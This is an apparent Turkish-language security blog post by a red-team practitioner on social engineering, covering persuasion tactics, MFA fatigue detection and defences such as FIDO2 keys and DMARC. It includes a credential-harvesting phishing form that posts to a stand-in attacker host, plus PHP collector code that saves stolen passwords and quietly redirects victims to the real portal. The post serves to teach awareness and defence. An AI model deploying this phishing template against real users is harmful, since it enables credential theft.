O milyon dolarlık firewall'un loglarına bakarken, içeriden birinin 'Şirket İçi Yemek Anketi.docx' dosyasını indirip makrosunu çalıştırdığını fark ettiğin o anki çaresizliği yaşadın mı hiç? Eğer yaşamadıysan, henüz bir Red Team operasyonuna denk gelmemişsin demektir.
Selam millet, ben Sedat. Bugün biraz 'soft' ama aslında en 'hard' olan konuya, sosyal mühendisliğe gireceğiz. Biz Red Team tarafında sızma testleri yaparken bazen günlerce bir 0-day peşinde koşarız, bazen de sadece doğru kişiye doğru soruyu sorarak tüm domain admin yetkilerini kucağımızda buluruz. Siber güvenliğin en büyük paradoksu tam olarak burada başlıyor: En karmaşık şifreleme algoritmalarını yazıyoruz ama şifresini post-it ile monitörüne yapıştıran bir kullanıcıyı engelleyemiyoruz.
Neden Hep İnsan?
Çünkü insan beyni, varsayılan olarak 'güven' üzerine programlanmıştır. Birinin bize yardım etmek istemesi veya bir otorite figüründen (örneğin 'testCompany Genel Müdürü') gelen bir e-posta, savunma mekanizmalarımızı baypas eder. Sosyal mühendislik, bir sistemdeki teknik açığı değil, insanın psikolojik açıklarını exploit eder.
Saldırganlar genellikle altı temel prensibi kullanır: Otorite, Aciliyet, Kıtlık, Tutarlılık, Beğeni ve Sosyal Kanıt. Eğer gelen bir e-posta size 'Hemen bu formu doldurmazsanız hesabınız kapatılacaktır' diyorsa, orada hem otorite hem de aciliyet sosuyla süslenmiş bir saldırı vardır.
Modern Phishing'in Anatomisi
Artık o eski, kırık dökük Türkçe ile yazılmış 'Nijerya Prensi' e-postaları geride kaldı. Şimdiki saldırılar son derece sofistike. Bir Red Team simülasyonunda hazırladığımız (tabii ki tamamen zararsızlaştırılmış) bir phishing sayfasının arkasındaki mantığa bakalım.
Bir saldırgan, testCompany çalışanlarını hedef almak için önce LinkedIn üzerinden bir keşif (OSINT) yapar. Şirketin hangi teknolojileri kullandığını, hangi İK uygulamalarını tercih ettiğini öğrenir. Ardından, sahte bir giriş sayfası hazırlar.
İşte basit ama etkili bir kimlik avı formunun (phishing) HTML yapısı (Eğitim amaçlıdır, asla gerçek ortamlarda denemeyin!):
<!-- DEFANGED PHISHING EXAMPLE -->
<form action="https://attacker-at-example.com/collect" method="POST">
<h3>testCompany Çalışan Portalı Girişi</h3>
<label for="email">Kurumsal E-posta:</label>
<input type="email" id="email" name="user_email" required placeholder="[email protected]">
<label for="password">Şifre:</label>
<input type="password" id="password" name="user_password" required>
<button type="submit">Giriş Yap</button>
<!-- Saldırgan burada arka planda bir de 'hidden' field tutabilir -->
<input type="hidden" name="source" value="fake_hr_portal">
</form>
Bu formdan gelen veriyi karşılayan saldırgan tarafındaki (pseudo) PHP kodu ise şuna benzer:
// DEFANGED SERVER SIDE LOGIC
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$user = $_POST['user_email'];
$pass = $_POST['user_password'];
// Veriyi sessizce bir log dosyasına kaydeder
$log = fopen("stolen_creds.txt", "a");
fwrite($log, "User: " . $user . " | Pass: " . $pass . "\n");
fclose($log);
// Kullanıcıyı şüphelenmemesi için GERÇEK giriş sayfasına yönlendirir
header("Location: https://portal.testCompany.com/login?error=timeout");
exit();
}
Buradaki kritik nokta, kullanıcının bilgileri girdikten sonra hata alıp gerçek sayfaya yönlendirilmesidir. Kullanıcı "Hah, herhalde internetim koptu" der ve tekrar giriş yapar. Ama saldırgan çoktan istediğini almıştır.
MFA Fatigue (Çok Faktörlü Doğrulama Yorgunluğu)
Artık her yerde MFA (Multi-Factor Authentication) var, değil mi? Güvendeyiz sanıyoruz. Ama saldırganlar buna da bir çözüm buldu: Kullanıcıyı bıktırmak. Gece saat 03:00'te telefonuna ardı ardına 20 tane "Giriş onay kodu" geldiğini düşün. Bir noktadan sonra kullanıcı, o bildirimden kurtulmak için 'Onayla' butonuna basıveriyor. İşte buna MFA Fatigue diyoruz.
Bunu tespit etmek için SIEM tarafında şöyle bir mantık yürütebiliriz (Kurgusal bir query):
/* MFA Fatigue Tespiti İçin Pseudo-Query */
SELECT user_id, COUNT(mfa_request_id) as request_count
FROM authentication_logs
WHERE status = 'pending'
AND timestamp > NOW() - INTERVAL '5 minutes'
GROUP BY user_id
HAVING COUNT(mfa_request_id) > 10;
Eğer bir kullanıcıya 5 dakika içinde 10'dan fazla MFA isteği gidiyorsa, orada bir anomali var demektir. Bu durumda hesabı otomatik olarak askıya almak veya güvenlik ekibine alarm düşürmek hayat kurtarır.
Savunma Hattı: İnsanı Nasıl 'Patch'leriz?
İnsanı güncellemek, bir sunucuyu güncellemek kadar kolay değil. Ama imkansız da değil. İşte sahada gördüğümüz en etkili savunma yöntemleri:
- Güvenlik Kültürü: Phishing simülasyonları yapın ama çalışanları cezalandırmak için değil, eğitmek için kullanın. Linke tıklayan kişiye "Hah, yakaladım seni!" demek yerine, o maildeki ipuçlarını gösteren interaktif bir video izletin.
- FIDO2 ve Güvenlik Anahtarları: SMS veya Push bildirimleri aşılabilir. Ancak donanımsal güvenlik anahtarları (YubiKey vb.) phishing saldırılarını neredeyse imkansız hale getirir. Çünkü anahtar, sadece tarayıcıdaki domain ile eşleştiğinde imza atar. Sahte bir
testC0mpany.comsitesi, gerçek anahtardan imza alamaz. - DMARC, SPF ve DKIM: E-posta sunucunuzun ayarlarını doğru yapın. Şirket adına dışarıdan mail atılmasını zorlaştırın.
- Raporlama Kolaylığı: Outlook veya kullandığınız e-posta istemcisine tek tıkla "Şüpheli Bildir" butonu ekleyin. Bir çalışanın dikkati, tüm şirketi kurtarabilir.
Son Söz Yerine
Sosyal mühendislik, teknik bir sorundan ziyade bir iletişim sorunudur. Eğer bir Red Teamer olarak bir sisteme sızmak istiyorsam, önce o şirketin kültürüne sızarım. Kahve molasında kim ne konuşuyor, hangi kurye şirketiyle çalışılıyor, ofise giriş çıkışlarda kart okutma alışkanlığı nasıl... Bunların hepsi birer veri noktasıdır.
Unutma, en güvenli sistem, fişi çekilmiş ve toprağa gömülmüş sistemdir. Ama biz iş yapmak zorundayız. O yüzden teknik savunmaların yanına mutlaka 'insan' faktörünü ekleyin. Çalışanlarınızın siber farkındalığı, firewall kurallarınız kadar keskin olmalı.
Bir sonraki yazıda, fiziksel sızma testlerinde başımızdan geçen o garip olayları anlatırım belki. O zamana kadar, gelen her linke tıklamadan önce bir durun ve düşünün: 'Bu pizza gerçekten bedava mı?'
Stay secure, stay geek!
